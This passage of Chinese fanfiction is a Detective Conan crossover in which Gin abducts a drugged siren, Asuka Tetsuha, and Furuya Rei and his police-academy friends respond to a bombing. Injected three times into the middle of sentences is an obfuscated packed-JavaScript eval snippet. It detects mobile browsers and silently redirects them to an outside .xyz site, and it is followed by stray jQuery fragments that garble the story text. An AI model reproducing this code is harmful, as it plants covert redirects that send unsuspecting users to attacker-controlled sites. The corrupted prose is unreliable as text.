男人想不明白他明知故问地又发这种神经,明明将近十年没见,偏偏在纠结一个自己心里早就知道的问题意义在哪里——或者他就是想听自己亲口说? “琴酒。” 但是显然这个意料之中的回答比飞鸟彻羽自己之前预想的更有冲击力,像是被迎头泼了一桶冰水,从里到外透着冰凉。 啧,“Gin”——从组成的字母到发音的方式,把起名人的脑残程度展现的淋漓尽致。 飞鸟彻羽讨厌这个命名物件一样的名字。 就像是一场酣畅淋漓的服从性测试,影响长远又不易察觉,透漏出一种处心积虑又居高临下地“施舍”和“赏赐”。 和其他同样顶着一个滑稽酒名的同事站在一起,交流或者代指的时候不再是本来的承载了自己几年甚至是几十年人生经历的名字,而是一个新鲜出炉的,代号。 就好像是之前的人生连带着与此同时建立起来的自我意识一起,在被赐予新名字的时候一起被抹杀掉了。 顶着代号的人不再是独立的人,而是摆在酒柜里面的一瓶瓶酒,瓶身的标签上标注着品牌、类型、生产年份、生产厂家…… 在自己小时候也见过不止一次,在别人在购买家里的家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507757|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 政小精灵的时候,父亲就会抹除掉它们原本的名字,由买家敷衍地起一个新的,于是之前的所有经历都不作数,要好好的给买家干活。 ——奴隶换个主子,主子就给赏个新名字,玩意似的,就这么回事。 而当这种和奖励挂钩,成为了只有少数有能力有忠心者的“功勋章”,没有的人削尖了脑袋想要搏一份“认同”,有的人沾沾自喜,自以为就成了少数的“特权阶级”…… 有多少人没叫过阿阵本来的名字了?! 用烂了的名字,阿阵不是第一个“琴酒”,也绝对不会是最后一个,原本鲜活的人就这么成了扁平的符号被人隔着玻璃评头论足挑三拣四,直到刀片卷边,锋利不再,就会有更好更新的“琴酒”填补他的空缺。 阿阵就这么喜欢自己那个烂狗窝,死了都要死在门外面! 飞鸟彻羽是想这么骂他的,他从来都不是什么好脾气,阴晴不定外冷内爆,放在哪里都是棘手的刺头,不好相处的典范。 但是话到嘴边在舌尖滚了滚,最后还是像药片一样硬咽了下去——飞鸟彻羽不能接受任何人对阿阵讲这种话,所以他自己当然也不能说。 算了。 算了。 算了。 话咽下去了,气可咽不下去。 ——当初执意要浑水摸鱼,想趁着组织难得混乱捞点好处耽误了治疗,终究还是落下了病根,发根和疤痕都被魔法养回来了,但是偏头痛要静养,平心静气多休少思。 飞鸟彻羽狗一样的脾气勉强能顺平,爱操心算计的毛病根本改不了一点,所以理所当然地,每逢激动或者过劳的时候旧疾就会找上门来。 发作的时候眼前一阵阵的发黑,对光线和声音都极其敏感,严重的时候连带着单侧短暂的失明失聪,除了吃止疼药缓解之外别无他法,随便瘫在哪里变成一个废物。 ……而且感觉这次发作的时候症状更奇怪了? 原本只是头疼及其一系列并发症,怎么这次意识也开始有些模糊了? 在困意的干扰下,这次的发作没有那么难熬,飞鸟彻羽上下眼皮开始克制不住地打架,意志在勉强支撑,可是发病的时候哪还有什么意志可言?很快就在药物作用下沉沉睡去。 琴酒托着他下半张脸的手能清楚地感觉到塞壬轻浅绵长的呼吸,指尖微微用力捏了捏,没反应。 空出的手伸向塞壬腰间的软肉——飞鸟彻羽这里摸不得,一碰就会像被踩到尾巴的猫一样原地弹起,根本克制不住——没反应,那就是真睡着了。 毕竟是吃了两整颗安眠药。 没了飞鸟彻羽在眼前喋喋不休,周遭重新陷入死寂,琴酒把不省人事的叛徒拖起来,像是小时候一样放在自己腿上,失去了意识的身体不肯配合,于是就用手臂圈在腰间锢住,靠在自己身上。 轻易就能拧断一个成年人颈椎的手摸上塞壬纤细的脖子,很轻易地就可以握住后颈,却也不用力,只是静静地感受着脸侧和手心鼓动的脉搏,坐在压抑的黑暗中,脸色晦暗难明,不知道在想些什么。 耳畔是节律的心跳,还有门外走廊迅速逼近的脚步声。 察觉到飞鸟彻羽失踪太久可能会有危险的降谷零迅速锁定这间套房,手持刚刚从某个危险分子那里缴获的手枪,凭借匪夷所思的怪力一脚踹开房门: “不许动!把他放下!” 77.二分之一法兰西75 “降谷?降谷零?!” 耳麦传来伊达航的声音,听起来很不真切。 刚刚的爆炸虽然躲避及时,到底还是造成了影响,降谷零感觉自己可能有点轻微的脑震荡。 “……我没事,班长,大家都还好吗?” “诸伏和松田在A区,我现在和萩原在一起,鸢尾……暂时联系不上。” 除了被爆炸波及到的降谷零,其他四人都听清楚了少年的最后一句指令: 考核终止,通知教官,疏散群众——之后就切断了联络。 “我们这里发现了炸弹,”诸伏景光的声音从耳麦中传来,带着几分凝重,“松田现在正在拆弹,但是数量太多了,也没有统一的开关,凭借几个人的速度可能来不及。” 没有统一开关的意思就是,一旦有一个被引爆,其他的炸弹会立马受到波及,产生连环爆炸。 “松田之前处理了一个计时炸弹,倒计时三十二分钟。” ——这个时间,找出每一颗炸弹都来不及,更不要妄想着拆弹了。 “我们现在怎么办?” 当初在大厅里少年的话一语成谶,带着几分黑色的幽默:“摁响火警铃,谁先站出来谁就是警察。” ……乌鸦嘴。 降谷零从晕倒在一旁不省人事的男人身上摸出来一把手枪,以备不时之需,平平无奇的□□下看不清表情: “鸢尾没消息,可能是出事了,我手里有枪——我去找他。” “班长,听你安排,我现在还算勉强能应付。” 伊达航知道现在不是客气的时候,调出电脑里飞鸟彻羽弄好的结构模型,很快找出来一条最适合疏散的路线,从这条路疏散,需要经过一条浮空长廊,一旦被炸毁不堪设想。 结合相关路段的情况,最快到达的可能是附近的机动搜查队,大概十分钟左右,大部队集结需要十五分钟,考虑到炸弹随时有被手动引爆的可能,必须要尽快采取行动。 “松田,还有萩原,去我在图中标出来的长廊,优先清理掉承重结构的炸弹有没有问题?” “放心。” “当然~” 调出来零星几个在拐角处才布置的监控,从吧台调酒师的离开时间和离开方向勉强拼凑出飞鸟彻羽的去向。 “目前只能判断鸢尾是向套房方向离开,具体目的地不详,三十分钟,降谷,我和诸伏会负责人员疏散的部分,最多三十分钟,即使没能找到鸢尾也要撤离——保证自己的安全,他有魔法傍身在这种时候比我们更有保障。” “明白。” 诸伏景光略微纠结了一下,就立即做出了决定:“我还是放心不下zero,我去帮他。” * 降谷零在剧烈的奔跑下微微有些气喘,举着枪的双手却丝毫没有颤抖,借着转角的灯光对准了那个模糊的身影: “把他放下,你今天可以安全离开。” 从降谷零的角度看去,原本一直嘴上不饶人的塞壬好像完全失去了意识,放出下身流光溢彩的鱼尾,离开之前还干净整齐地上衣被翅膀撕开了一个窟窿,露出若隐若现的蝴蝶骨,被一条有力的手臂从腰后禁锢在怀里。 没有血腥味和其他刺激性气味,不知道是中毒还是钝伤导致的昏迷。 应该是昏迷吧。 被躯干和翅膀遮住大半的男人穿了一身黑,看不清样貌,只能勉强从身形分辨是个高大的男人,训练有素,从他周身的戾气来看,肯定杀过很多人。 ——非常危险,很有可能是职业杀手,或者退役军人之类的工作。 降谷零在一个照面就迅速整合了自己所有可能获得信息的同时,琴酒也不动声色地把他扒了个底掉: 成年男性,二十到二十五岁之间,结合警察的入职年龄,二十三到二十五岁,身高一八五上下浮动一厘米。 右利手,上身肌肉群说明擅长截拳道,拳击,柔道……主要是拳击的体系派。 持枪姿势标准但是过于刻板,说明经受过专业的射击训练但是实践经验不足,飞鸟彻羽不可能找其他警种一起负责逮捕自己,排除其他警种因为极少用枪生疏的可能,结合今年新警的入职时间——被公安内定的在读警校生,目前在熟悉相关工作。 喘气声音略微不自然,带易容,想也知道是飞鸟彻羽给他做的——千面魔女贝尔摩德和日本公安有瓜葛。 最关键的是,没杀过人。 ……还会有谁呢? 飞鸟彻羽不可能就带这一个新手就敢来逮捕自己,反正来多少人琴酒都有自信全身而退,不如等他们全都到齐也不迟。 敢趟这潭浑水,知道自己情报的,都杀了就是。 琴酒才不相信,飞鸟彻羽叛逃了九年,就躲了自己九年,偏偏挑自己刚回到日本出任务的时候出现,是想要和自己叙旧——勾结了公安,想要抓自己现行吧。 九年,他们也不过相处了四年,分开的时间已经比在一起的两倍时间都长,够他认识两个“黑泽阵”了。 绰绰有余。 飞鸟彻羽不是念旧情的性格,在当初飞鸟彻羽还是香槟,琴酒还不是琴酒的时候,即使天天讲着“最喜欢阿阵”这种疯话,琴酒可从来没有听他讲过哪怕是一次,想过自己之前的父母和朋友。 ——他不念别人,理所当然更没理由想在组织里给组织卖命的琴酒,当初嘴上说着“喜欢”,事后细细想来,也不过是为了活命虚以委蛇的把戏罢了。 但凡抓到一个机会,跑的比谁都干脆。 ……所以对面这个毛头小子,是现在飞鸟彻羽的“最喜欢”? 琴酒突然感觉没耐心了。 不喜欢又怎么样? 带回去,关起来,其他的来一个杀一个。 降谷零眼见着对方箍着塞壬的腰站起来,一时间拿不定主意该不该开枪,男人站的姿势很狡猾,要害全部都被塞壬的翅膀和躯干遮住,根本没有一枪毙命或者失去行动力的可能,万一自己冒险先开枪,对方破罐子破摔伤害人质怎么办? 对方的手就抓在鸢尾那家话的脖子上,只要手上用力瞬间就能折断少年的颈椎骨——降谷零可不想印证对方有没有这种握力。 拖时间,拖到支援到。 “你可以提条件,只要不伤害人质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14517100|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能满足的……” 他想拖延也要看对面给不给他机会,琴酒手上用力猛地把手上的肉盾砸到降谷零怀里,脱手的瞬间回手拔枪射击,连开两枪,第一颗子弹击中了他手里的枪,紧接着第二颗子弹击中了对方的大腿。 多感人的情谊啊。 连控制不住踉跄着摔倒的时候,都要下意识地把那个叛徒护在怀里,用身体给飞鸟彻羽做肉垫,生怕他摔出个好歹。 ——又是一个被塞壬蒙骗的可怜虫。 房间里光线太暗,看不清楚对方的面孔,琴酒也没兴趣知道将死之人的长相,把飞鸟彻羽捞起来,扛麻袋一样抗在肩上,食指扣下扳机:“就溺死在虚妄的美梦里……” “……别。” 飞鸟彻羽还没睡太沉,被砸在地上的疼痛加上枪响勉强唤醒了一下,千钧一发之际甩尾巴拍开了他持枪的手,子弹打在地毯上,迸发出一点火星。 我好不容易才找到的“降谷”,你把他杀了我用什么? 尾尖轻轻卷住琴酒的手腕,讨好地蹭了蹭,企图就这样能唤醒一点沉睡已久不知道有没有过期的情谊:“别……别杀他……我和你走就是……” 琴酒的回应是一声冷哼,枪口抵在降谷零的额头,毫不犹豫地扣下了扳机的同时,下意识地让开几步,紧接着另一颗子弹破开窗玻璃,带着狙击子弹特有的破风声,打在床头的电视上。 ——这种顶级狙击手的人头是捡不到的,一旦被狙击就会有种被盯上的感觉,然后紧急采取措施,尽可能地保住性命。 琴酒的脸瞬间黑成了锅底,基安蒂这个废物! * ……没打中。 诸伏景光趴在对面楼顶,手里端着刚从身边那个女狙击手那里抢过来的枪。 本来想瞄准头的,可惜超过自己的有效狙击范围了。 狙击范围这种东西俗称枪感,是没有取巧的途径,必须一颗颗子弹喂出来的,上千颗子弹下去能稳定打个七百码就是天才中的天才,警察学校养不起一个正经狙击手,当然经费富裕如FBI也同样养不起。 诸伏景光只在射击课上摸了几下枪,现在距离目标二百多码,是绝对超出手枪射击范围的距离。 不能再开第二枪了,再空枪还好,对面站得太近,极有可能误伤其他人。 为什么不开枪? 排除掉基安蒂终于智商跌破地平线,失心疯了想要这样和他打个招呼的可能性……因为不敢。 琴酒本来很笃定飞鸟彻羽想要抓自己现行,结果到现在有点不确定了:他从哪里找来的这么多歪瓜裂枣? 塞壬敌不过药效沉沉睡去,琴酒也没找他刨根问底的兴趣,踢了踢躺在旁边不省人事的条子,确保彻底死透了,这才扛着今晚的战利品,从十七楼的窗口翻下,融入纯黑的夜幕里。 没人看见,被丢在案发现场的尸体诡异的抽搐几下,原本迸发的脑浆和血水重新流回颅腔,然后像是开了倒放,伤口恢复如初,好像什么都没发生过。 意识沉浮之间,降谷零隐隐听见耳畔好像是伊达航的声音: “降谷,你现在怎么样?” 78.必须尽快营救人质! 降谷零醒来的时候,首先映入眼帘的是医院病房惨白的天花板,喉咙间是无论如何都忽略不了的血腥味,从中挤出一声沙哑的嘶鸣。 “……zero?!” 蜷缩在床头椅子上守夜的诸伏景光整夜放心不下,直到天光微曦才浅浅睡去,惊醒后顾不得酸痛的身体和被自己带起来的椅子,连忙上前几步查看降谷零的情况,顺手摁下了床头铃。 “当时子弹卡在了大腿里,所以才能坚持等到班长,特行组的队医索菲娅用魔法治愈了你的伤口,也已经输了血,说是醒来之后观察三天就可以出院了。” “……班长呢?” “带你出来的时候犯人引爆了必经之处的炸弹,班长把你从火场里面背出……”眼见着幼驯染急得变了脸色,诸伏景光连忙加快语速一股脑得把话都倒了出来,“只是看起来比较狼狈其实并不严重今天早上就已经出院被公安叫走了。” “松田和萩原因为不穿防护服拆弹被鬼冢教官抓去做笔录和写检讨了,我们一会应该也要去。” “我们……我们这次可能要立功了,后到的□□处理班检测说据说是能把一整栋楼清空的威力,除了你和班长之外只有两个人有轻度烧伤,另外一个人从楼梯上滚下来扭伤了脚,其他只有财务损失没有人员损伤……” 这样啊,没人因此丧命还真是太好了。 降谷零刚从昏迷中醒来,难受的头昏脑胀,努力撑起自己的身体靠在床头,右手不由自主地摸上了自己的额头,尽可能地消化着一长串的信息。 ……总觉得忘了什么事。 “鸢尾呢?” 诸伏景光一下卡壳了,顶着幼驯染沉重的目光半晌才开口:“……没找到,被那个男人带走之后不论是监控还是目击者都没有。” “诸伏……”推开病房门第一个冲进来的是伊达航,“降谷你身体没事吧?” 诸伏景光替不方便说话的幼驯染回答:“索菲亚医生说zero没有大碍,但是还是要卧床观察三天,毕竟是磕到头了,现在有些脑震荡——你们那边怎么样?” 一提起这个,伊达航本来黑沉的脸色又黑了一个度。 “我来回答吧。” 跟在后面的疤脸独眼男人踏进病房,沉声接话:“情况糟透了,女杀手在押送过程中被暴力劫走,樋口在去往审讯的路上被狙击枪一枪毙命。” 樋口是被降谷零从手提箱炸弹下救下来的那个男人。 黑田兵卫用食指点了点自己的太阳穴:“当时最近的狙击位置距离八百七十码。” 这就意味着对方拒绝了交换人质的可能性,几乎可以和人质凶多吉少画上等号。 “所以我代表公安很抱歉没有时间等你身体完全恢复了,为了成员的安全,作为唯一一个目击者,请务必尽可能地提供所有你知道的信息。” 降谷零当然没有拒绝的理由。 “我只能说尽量,对方很……老练,不论是动手的风格还是身上的细节,都没有透漏出太多信息……” 诸伏景光一边听着幼驯染尽可能的讲述着对面的特征,脸色越来越苍白。 一想到在狙击镜里面看见绑架犯把不省人事的少年抗在肩上,翻窗从十七楼跳下,怎么也找不到一个哪怕是赌一把的开枪的机会,只好眼睁睁地看着对方几下在墙外的水管和窗台接力,最后扬长而去,像是一滴墨水融入了夜色里,再也追踪不到任何行踪,诸伏景光的心就像是被凌迟一样,泛着密密麻麻猛烈又连绵不绝的剧痛。 ——要是在这期间开枪,就算是运气爆棚打中了对方,从十七层楼高的地方摔下来,鸢尾也没有活路吧。 都是我的错,要是当时第一枪就能打中就好了。 诸伏景光在度过了前期的焦虑之后,现在的心态已经转向了担惊受怕的范畴,一想到当时看见zero浑身浴血的从火场中被班长背出来,再加上能安装如此体量炸弹的手笔,对方一定是穷凶极恶的亡命之徒。 我们几个救下了要被他们灭口的那个男人,拆了炸弹,还抓了他们的一个同伙……他们会把鸢尾怎么样? 就算对方没有折磨人质的爱好,鸢尾说话那么难听,把对方惹恼了怎么办? 即使是第一次作案的外守一手段都能如此残忍,以此为生的专业杀手……诸伏景光不敢想。 降谷零很微妙地感受到了身边人的心情,双手裹住对方冰冷的手企图给他暖热一点。 到头来也只知道对方有白人血统,成年男性,身高在一米九左右,可能是左利手——夸张的头发和装扮不排除像自己一样是伪装的可能。 黑田兵卫的脸色从一般的凝重转化为了另一种压迫,他不说话,旁边三个警校生也没开口的打算,病房的气氛中诡异的陷入了可怖的死寂。 “啧。” 松田阵平的声音从听筒里传了过来。 那边是来不及赶回来,只好和伊达航通电话的松田阵平和萩原研二。 “我觉得……鸢尾现在可能没有生命危险,暂时没有。” 降谷零现在反应迟钝,慢吞吞地才把脑子里面关于之前发生过的像毛线团一样的记忆理出一个线头,“一时半会没有。” “……当时我进去的时候,对面那个男人的姿势很怪。” 降谷零一时间不知道该怎么形容,只好上手比划:“鸢尾当时已经失去意识了,对方大概就是这样,一只手环过腰,另外一只手抓住后颈,脸埋在他侧颈。” 过于亲昵了,怎么想都不会是个绑架犯应该有的做派。 “而且在我受伤之后,鸢尾有很短暂的恢复了意识,他说……‘别……杀……跟你……’。” 别杀他,我跟你走。 在场的人都不是什么不懂事的初中生,降谷零想说什么,该懂的都懂,就算是心里再不愿意接受这个恶心的事实,为犯罪分子开脱对现状可没有什么好处。 听筒那边又传来了一句短促的脏话,这次是萩原研二的声音。 伊达航把脸埋在手心里,发出痛苦的呻吟:“……鸢尾才19岁!” 19岁还未成年呢! “……他没能提前接收到任何和那伙罪犯有关的信息对吧?” 现在反倒是提前半天就开始难受的诸伏景光先反应过来了,因为酒保制服不方便藏东西,少年当时身上甚至连魔杖都没带。 “你们当时,是派他来警校处理‘外守尤里’的时候,一点情报都不给他吗?” 少年不是擅长出外勤,这点随便一想就知道了:身体很差,演技没有,浑身上下透漏着一股“我就是很可疑”的味道——但是他已经在职两年了。 诸伏景光已经很努力让自己声音听起来平静一些了,但还是有种难以掩盖的埋怨跟着吐出的音节逸散出来: “……你们到底是派他来干什么的啊?” 派专门的文职人员出外勤,没有同行的搭档,没有情报支持,没有事先的培训,什么都没有…… 日本警方现在已经无能到需要一个即使是按照日本法律规定的人类标准都没成年的小孩挑担子了吗?! 更何况塞壬这种长生种,生长周期也会像人类一样短吗? “没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14533746|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任务。” 所以事情发展到这个地步,也没什么要保密的必要。 “外守一的案子,没严重到要他出外勤的地步,是上面执意要派他去——他先前在跟进另外一个可疑组织,追得太紧了,几个月之前我们损失了一个派进去的卧底,他的名字上了暗网的悬赏名单。” 这说明公安内部已经不安全了,飞鸟彻羽本身身份敏感,最经不起查,所以藏木于林,也当是给绷太紧的少年放松放松。 “……我知道了,感谢几位的配合,接下来如果有再想起来什么,也摆脱一定要尽快联系我们,”黑田兵卫关上录音笔和便签本,“我们会尽快找到他。” 关于这件事,男人有种微妙的预感:从现场检测的结果中,魔力残秽非常稀少,也就是说,飞鸟彻羽在几乎没来得及反抗的情况下就被制服。 黑田兵卫见过飞鸟彻羽全力施为的夸张程度,用海啸形容也完全不过分…… 究竟是没来得及反抗,还是根本没有反抗呢? * 飞鸟彻羽这一觉一直睡到中午,醒来的时候发现自己霸占了一整张床,手腕被银链扣在了床腿上。 少年抬手扯了扯:秘银的,扣不太紧可以正常支付变形魔法,链条很长,几乎不影响在室内活动。 身上的衣服被换过了,现在上身是一件高领的纯色内衬,袖子长出一截可以甩来甩去,老土到一看就知道是来自谁的衣柜。 塞壬睡得脑子发昏,懒洋洋地瘫在大床上不想起,长发铺开,像是一点不把自己当外人,四处圈占地盘的野生藤曼。 ……几点了? 没有闹钟,飞鸟彻羽一般情况下生物钟是很准的,但是在离开阿阵之后又沾染上了镶合体,养成了浅睡易惊醒的恶习,厚重的窗帘将阳光严丝合缝的遮住,现在居然一时分不清楚是上午还是下午。 也有可能是晚上? 不过其实具体是什么时候也不是太要紧,现在飞鸟彻羽面临的是更严峻的问题:在套房里面刚遇见阿阵的时候就已经变回尾巴了,阿阵肯定不会专门折回去捡他的裤子…… 那我变回双腿之后穿什么?! 飞鸟彻羽一时间拿不定主意,究竟是“在别人家偷裤子穿更变态”,还是“在别人家光着腿更变态”,最后觉得阿阵不能算是别人,他明明是自己人,在自己人面前没必要见外,所以自己完全可以自便。 于是从衣柜里抽出一条长裤。 根本没什么好挑的,反正就算是再大的衣柜,阿阵也只有一套衣服。 这么多年某人的习惯半点没变,即使是整理衣服也要发挥他卓越的领导才能,哪里放衣服哪里放裤子划分的井井有条,有点微妙的强迫症的味道。 飞鸟彻羽踩着长了半截的裤脚,拖着长长的银链走出卧室,摸进厨房。 储物柜里面是新鲜的食材和调料,全都没有开封过,不知道是谁送过来的,螃蟹和虾都很精神,海参懒洋洋地在水盆里蠕动,贝类嘴巴吐着泡泡——看起来都是海鲜市场上刚买不久。 飞鸟彻羽厨艺不佳,但是也勉强够用:把米淘洗干净,虾蟹丢在蒸锅里蒸,其他的食材清理干净,把去腥的材料弄烂,一起丢进砂锅里煮,为了防止糊锅要时不时地搅拌一下,最后一起尝着味道加调料。 ——完全是调配巫师汤的思路,但是煮粥也够用了。 趁这个时间把洗衣篮的衣服倒进洗衣机甩一甩,然后送进烘干机。 一直熬到粥底粘稠,鼓着细密的小泡,安全屋的主人才风尘仆仆地推开房门。 “阿阵,你回来了?” 79.二分之一法兰西75 车流奔腾的夜幕里,一辆颜色漆黑但是款型一点也不低调的保时捷缓缓停在小巷不起眼的角落,驾驶座上面的男人顶着眼下浅浅的黑眼圈,嘴里叼着燃着只剩一半的烟头: “……下车。” 伏特加应了一声,被赶下驾驶座,丢在了巷子里只好接下来跟科恩和基安蒂一起回去。 也许大哥之后还有什么其他的安排——反正大哥这样做总有大哥的道理。 带墨镜的大块头也不是很确定,但是也没怎么细想,这也是琴酒一直把他带在身边的原因之一: 像琴酒这样的领导者,注定不会喜欢太过聪明的下属。 处理樋口和基安蒂两头跑,在路上浪费了太多时间,现在算算药效,飞鸟彻羽应该早就醒来了才是。 脱离了工作的状态,琴酒换上常服扎起头发,即使不会脱胎换骨般的易容术,凭借改变体态和气质,也可以完美融入到愚钝的羊群中。 不论是日用品还是衣服,都不能像之前那样,随便打个电话就可以躺在安全屋里面叫后勤人员送来——这些都会要留记录,方便后续的财务组报销的。 琴酒本身不介意这种方方面面的掌控,这有利于安抚BOSS那颗脆弱又敏感的老迈心脏,他自己说实话也没什么好隐瞒的秘密。 最多只是藏匿些许各种飞鸟彻羽大概是一拍脑门送来的,多是亮晶晶的新鲜玩意。 但是不包括这种时候。 琴酒该怎么解释,自己有天突然缩水了二十公分,还分裂出来另一个自己要多一份日用品? 扭转帽檐遮挡摄像头,从便利店里面挑选了家中缺少的日用品,拎着大袋小袋的东西丢进后备箱,走进服装店。 服务也包括在昂贵价格中的一部分,店员殷勤地向眼前沉默寡言的男人介绍着什么不同的经典款式什么不同的时兴款式,听得琴酒头大。 天知道他有多长时间没有自己挑过衣服了:经典皮肤黑风衣黑礼帽就像手枪一样,是流水线产物,只要出现空缺就会补充一模一样的填进衣柜,偶尔几件突兀的常服……大多来源于某个堂而皇之地搞跟踪,但是从来不露面的叛徒。 啧。 想到飞鸟彻羽,琴酒的心情又开始变得不爽,感觉挑选衣服是在浪费自己宝贵的时间——都穿一样的有什么不好? 导购员小姐很微妙地感受到了男人越来越不耐烦的心情,默默在心里为自己即将飞走的奖金和提成默哀。 ……看起来根本就没有听进去的样子啊。 没关系的,烨子,能每天坚持来上班,对着每一个来来往往的客人陪笑脸赚点窝囊费已经很了不起了,就算是偶尔遇见几个根本不愿意听,而且看起来很不好惹的客人又怎么样呢? 他能杀了我吗? 活着已经很了不起啦:) “这里,一直到这里。” 琴酒感觉比起自己,喜欢亮晶晶好玩意的飞鸟彻羽可能更喜欢做挑挑拣拣的工作,指尖点到最边上的一件,一直划过一整排,囊括了所有刚刚有被介绍到的,不知道究竟哪件是经典,哪件是流行的布料。 “每样一件,全都包起来。” ——让飞鸟彻羽自己操心穿哪件去吧。 欸? 欸…… 欸!!!!!!!! 好在对方并不是自己手下的蠢货,也不是和自己任务相关的蠢货,所以琴酒懒得和愚钝的羔羊计较,耐着性子再重复了一遍。 “哦哦哦……好的好的!” 导购员连连点头,生怕到嘴的鸭子飞了。 “请问是自己穿还是……需要什么尺寸的呢?” 话说到一半差点咬下自己的舌头,这是问得什么废话,这种客人肯定不会是那种会自己挑衣服的类型吧! 琴酒还真拿不太准该选多大码数,感觉对面这个傻样,直接说身材数据也大概率听不懂的样子,所以干脆也别浪费口舌: “这么高,”伸手比了比自己的下巴,然后再在自己腰间截出一段距离,“腰这么宽,腿长到这里,肩宽……” 导购员连连应声,冲进隔间的仓库,翻出一件件打包好,足可以用“虔诚”二字形容地刷了信用卡,颤抖着双手递过去,感觉自己自从入职以来,从未有过像今天这样真诚的时候: “欢迎下次光临!” 一定要再来啊拜托! * 飞鸟彻羽斜倚在窗沿,一只漆黑的小龙努力扑棱着翅膀落到他的指尖,低声呢喃着龙语。 “买了多少件?” 薇薇安虽然知道他肯定早就听清楚了,但还是再重复了一遍:“三十七件上衣,二十八条裤子,七套睡衣……” “好好好我知道了,别念了。” 飞鸟彻羽光是听着就觉得头疼,难道自己在自己都不知情的什么时候,学会了有丝分裂吗? “购买记录和其他相关的证据,竹取已经抹除掉了,公安那边刚联系了安东尼在进行侧写,我也通过气了——您能别摸我的龙角吗?” 虽然不是什么隐私部位,并且每年都会像鹿角一样正常脱落,但是一想到塞壬雁过拔毛的土匪德行,薇薇安害怕他摸多了可能就留不到今年正常脱落的时候了! 飞鸟彻羽悻悻地放下了手,假装什么也没发生过。 好在薇薇安早就知道自家上司是个什么水平,也没怎么计较。 “您打算什么时候回去?” 飞鸟彻羽又开始装死。 “虽然短时间内异常处理课可以正常运转,但是太长时间脱离岗位还是会出乱子的……” 薇薇安眼见着少年的耳羽慢吞吞地机械化地来回舒展着,十分有十二分的僵硬——按照她对塞壬的理解,这是飞鸟彻羽纠结时候的表现。 “您不打算回去了是吗?” 塞壬的喉咙里发出一声痛苦的呻吟,像是老式木帆船被海水锈蚀残破的龙骨在风暴中吱呀作响:“那么明显?” 就知道和阿阵见面是个错误。 为了防止自己在对面产生朝令夕改的印象,飞鸟彻羽开始给自己找补:“反正也不过是辞个职而已,异常处理课那么多人……” “您不打算要我们了吗?!花了整整两年时间才建立起来的心血也统统可以说抛弃就抛弃吗?” 薇薇安感觉这个时候,也许自己应该给黑羽或者工藤打电话求助,但是更加隐晦的声音制止了她:万一他这次什么都不打算听呢? “想都不要想,您根本别想丢下我们,异常处理课的所有人都会跟您走的!” “你们都跑了,日本境内的魔法案件谁来处理?铁饭碗也不要了?” 小龙紧紧缠住他的手指:“叫贪污我们抚恤金的蛀虫来管。” 飞鸟彻羽后知后觉,她好像害怕了。 “拜托,捡了你们怎么和欠了债一样,现在恩将仇报赖上我了——我胡说的,想走人家还不肯要我呢。” 要是真那么简单,一拍即合就好了。 薇薇安一边感觉居然有谁敢拒绝飞鸟彻羽真是不识好歹,另一边又在心里暗暗窃喜,至少被拒绝了少年就只好回来和他们一起……但是被拒绝了他会很伤心的吧。 “我们要不然绑架他?” 整个日本九成的魔法师和非人都听飞鸟彻羽调动,抓个人有什么难? 更何况对方还是杀手,就算是失踪了也没人会找他,更不会有人报案的。 飞鸟彻羽一口气没上来,差点被呛死,好不容易喘顺了气,想到整个异常处理课都是这样的“人才”,居然还有这么缺德的主意,又开始控制不住地想笑,耳羽一抖一抖的。 薇薇安眼见着塞壬从开怀大笑到拉平了嘴角,恢复成那张面无表情的样子,最后捏了捏自己的角: “……算了,别这样——不愿意也别勉强他。” * 琴酒站在楼下,隐秘在树荫下,点燃了一颗烟,但也不着急抽,只是在嘴边叼着,烟头的火光明明暗暗,像是在不断报时的秒表。 从这个角度刚好可以很隐晦地看见自己家客厅的窗户,被厚重的窗帘遮住,只泄漏出些许暖黄色的光线。 “家”……吗? 不是冰冷的藏身之所,在这个城市里面的某一个角落,也有一盏灯火是为自己亮着的。 不过也只是一瞬间的愣神,后知后觉地反应过来之后,他就又还是那个冷酷无情的杀手,没有人性的机器。 ……矫情的字眼,我要吐了。 说不定那个叛徒早就跑了,一盏灯能说明什么? 还是“安全屋”比较顺口。 男人在寒风中站了很久,一直到抽完整整一盒烟,身上的烟味都被风吹散,上头的瘟病都被冷风治好,才提着大包小包的东西推开房门。 不是站够了,是想明白了——这是我家,我凭什么不回家要在外面站着? 出乎意料,飞鸟彻羽居然真的没跑,从烘干机里面掏出衣服,叠的乱七八糟,最后对既不擅长,也不喜欢的琐事宣布耐心告罄,随便团在一起就塞进衣柜里。 ……之后再拿出来穿的时候,肯定是一身的褶子。 